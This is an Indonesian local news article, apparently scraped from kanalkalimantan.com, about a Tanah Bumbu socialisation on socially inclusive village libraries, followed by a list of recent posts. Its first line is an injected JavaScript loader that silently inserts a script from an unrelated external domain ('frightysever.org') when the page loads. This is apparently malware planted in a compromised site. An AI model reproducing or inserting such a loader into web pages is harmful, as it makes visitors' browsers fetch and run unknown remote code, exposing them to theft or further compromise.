(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Guna Perluas Akses Informasi, Kini Perpustakaan Tanbu Berbasis Inklusi Sosial


KANALKALIMANTAN.COM, BATULICIN – Dinas Perpustakaan dan Kearsipan Kabupaten Tanah Bumbu (Dispersip Tanbu) gelar sosialisasi perpustakaan berbasis inklusi sosial, Senin (30/5/2022).

Sosialisasi dibuka Kepala Dispersip Kabupaten Tanah Bumbu, di Gedung Pemuda Kapet Kecamatan Simpang Empat, Tanah Bumbu.

Perpustakaan berbasis inklusi sosial merupakan program prioritas nasional yang bertujuan untuk memperluas akses informasi. Yaitu melalui penguatan literasi demi terwujudnya kesejahteraan dan keadilan bagi masyarakat.

Kepala Dispersip Tanbu, Yulia Ramadhani saat membuka sosialisasi perpustakaan berbasis inklusi sosial menyampaikan, tujuan sosialiasi ini adalah memberikan pemahaman kepada kepala desa khususnya pengelola perpustakaan desa tentang bagaimana mengelola perpustakaan berbasis inklusi sosial.

 

 

Baca juga: PLN Buka Peluang Pemanfaatan Abu Batu Bara PLTU Pulang Pisau

“Total peserta yang hadir ada 76 orang yang merupakan para kepala desa. Melalui sosialisasi ini diharap kepala desa bisa lebih terdorong untuk memberikan perhatian kepada perpustakaan desa serta pemberdayaan masyarakat,” katanya.

Yulia menyebutkan kegiatan ini terbagi dalam 2 sesi, untuk sesi pertama dihadiri peserta dari seluruh kepala desa dari tiga kecamatan yakni Kecamatan Kuranji, Kusan Hulu dan Teluk Kepayang sedangkan di sesi kedua yaitu dari Kecamatan Satui, Angsana dan Sungai Loban.

Sementara itu, Kepala Dispersip Provinsi Kalimantan Selatan diwakili Kepala Bidang Pelayanan dan Pembinaan Perpustakaan, Wildan Akhyar, sekaligus sebagai narasumber mengatakan, untuk memperkuat peran dan fungsi perpustakaan sebagai tempat belajar dan berkegiatan, pemerintah mengambil langkah untuk melakukan SPBIS.

Pelaksanaannya dilakukan dengan memberikan wawasan pengetahuan dan sekaligus keterampilan bagi pengguna perpustakaan.

“Harapan saya, upaya untuk meningkatkan kecerdasan dan kesejahteraan masyarakat melalui pemberdayaan perpustakaan dapat dimaksimalkan. Terlebih di era kemajuan teknologi saat ini, perpustakaan harus mengambil peran untuk menjadi pusat informasi dan pusat kegiatan masyarakat,” tuturnya.

Wildan Akhyar menekankan, perpustakaan terbuka bagi siapa saja dari semua kalangan. Tidak ada batasan masyarakat. Semua itu perlu agar terwujud masyarakat yang berkeadilan dan dapat menuntaskan kemiskinan informasi. (kanalkalimantan.com/ftr)

Reporter: ftr
Editor: cell


Risa

Recent Posts

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

42 menit ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

2 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

2 jam ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

18 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

18 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

This website uses cookies.